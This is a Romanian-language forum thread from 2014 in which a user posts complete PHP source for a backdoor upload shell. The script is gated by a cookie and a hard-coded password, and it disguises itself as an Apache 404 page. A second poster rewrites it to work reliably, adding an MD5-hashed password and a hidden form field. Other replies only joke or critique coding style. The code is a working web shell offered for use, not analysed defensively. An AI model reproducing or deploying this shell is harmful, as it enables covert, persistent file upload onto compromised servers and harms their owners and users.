Open Posted August 9, 2014 Report Posted August 9, 2014 <?php$file = __FILE__; error_reporting(0) .if(isset($_COOKIE['parola'])){ if(isset($_POST['parola2'])){ $backdoor = $_POST['parola2']; if($backdoor == 'muieadmin'){ // Pagina de upload apare doar daca pasii sunt trecuti cu success. /* ------------------------------------------------------------------------------------------------------------- # forma de upload HTML -------------------------------------------------------------------------------------------------------------*/ echo '<style type="text/css"> body { background-color: white; font-weight: inherit; } </style> <center>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; /* ------------------------------------------------------------------------------------------------------------- #Functiile PHP de urcare fisiere -------------------------------------------------------------------------------------------------------------*/ if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b><font color="#0ACC00">Fisierul a fost incarcat cu succes!</font></b><br><br>'; } }else { echo '<b><font color="#CC0000">Fisierul nu a putut fi incarcat!</font></b><br><br></font>'; } # Se termina functia in cazul in care este falsa conditia pentru upload }else{ echo "<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL $file was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_qos/10.10 mod_perl/2.0.6 Perl/v5.10.1 mod_antiloris/0.4 Server at xcp.ro Port 80</address> </body></html>"; } }else{ echo "<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL $file was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_qos/10.10 mod_perl/2.0.6 Perl/v5.10.1 mod_antiloris/0.4 Server at xcp.ro Port 80</address> </body></html>"; }}else{ echo "<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL $file was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_qos/10.10 mod_perl/2.0.6 Perl/v5.10.1 mod_antiloris/0.4 Server at xcp.ro Port 80</address> </body></html>"; } /* -------------------------------------------------------------------------------------------------------------*/?>Va dati si voi seama ce face:) Quote
Coco Posted August 21, 2014 Report Posted August 21, 2014 (edited) ce face?Te intelegem ca esti nou pe aici , dar nici chiar sa postezi la fiecare topic " ce face?" sau "cum se face" pentru ca devii stresant , daca nu stiii ce face poti cauta pe google.ro sau intreba pe cineva in particular nu aici , ca nu-i forum de cs.Asta doar un sfat daca vrei sa-l asculti , pentru ca altfel presimt banu ON : Frumos Open , folositor multumescScuze pentru micul off , trebuia sa-i explice cineva. Edited August 21, 2014 by Coco Quote
Active Members dancezar Posted August 21, 2014 Active Members Report Posted August 21, 2014 (edited) Ai bagat o tona de else-uri inutile si acolade de mi se face rau.In primul rand daca nu ai mai mult de doua actiuni intr-un bloc if / while /for /else /else if etc ... nu trebuie puse acolade faci economie de spatiu.L-ai facut mai mult la misto? Pentru ca atunci cand faci upload la fisier nu v-a mai functiona al doilea if in care verifica daca exista parola din $_POST (nu stiu de ce ai mai pus si parola in post... puteai sa lasi decat cookie-ul). Ca sa functioneze corecct trebuie sa trimiti si parola prin post....Desi mi se pare o tampenie poftim cam asa ar trebuie sa arate <?php$file = __FILE__;// Penutru ce iti trebuie asta? error_reporting(0);if(isset($_COOKIE['parola'])){ if(isset($_POST['parola2'])){ $backdoor = $_POST['parola2']; if(md5($backdoor) == '078f6d2d803c24911d309eee0cc01152'){ //macar un md5 pune // Pagina de upload apare doar daca pasii sunt trecuti cu success. /* ------------------------------------------------------------------------------------------------------------- # forma de upload HTML -------------------------------------------------------------------------------------------------------------*/ echo '<style type="text/css"> body { background-color: white; font-weight: inherit; } </style> <center>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"><input type="hidden" name="parola2" value="'.$backdoor.'"></form>'; /* ------------------------------------------------------------------------------------------------------------- #Functiile PHP de urcare fisiere -------------------------------------------------------------------------------------------------------------*/ if( $_POST['_upl'] == "Upload" ) if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) echo '<b><font color="#0ACC00">Fisierul a fost incarcat cu succes!</font></b><br><br>'; else echo '<b><font color="#CC0000">Fisierul nu a putut fi incarcat!</font></b><br><br></font>'; } exit;//iesim din script }} echo "<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL $file was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_qos/10.10 mod_perl/2.0.6 Perl/v5.10.1 mod_antiloris/0.4 Server at xcp.ro Port 80</address> </body></html>"; /* -------------------------------------------------------------------------------------------------------------*/?> Edited August 21, 2014 by danyweb09 Quote
Pilu-Nelutu Posted August 22, 2014 Report Posted August 22, 2014 Coco, ce treaba are forumu de cs cu acesta, eu doar incerc sa invat ! Am sa iti urmez sfatul si am sa intreb in particular, dar daca tot ai incercat sa imi tii morala, cred ca si puteai sa explici ce face Quote
Gushterul Posted August 22, 2014 Report Posted August 22, 2014 Si unde e backdooru? Ca e ascuns asa bine ca nici nu il vad:p Quote
maTzu. Posted September 18, 2014 Report Posted September 18, 2014 Pagina aia nu face nimic. # forma de upload HTML da el foloseste echo ''; Quote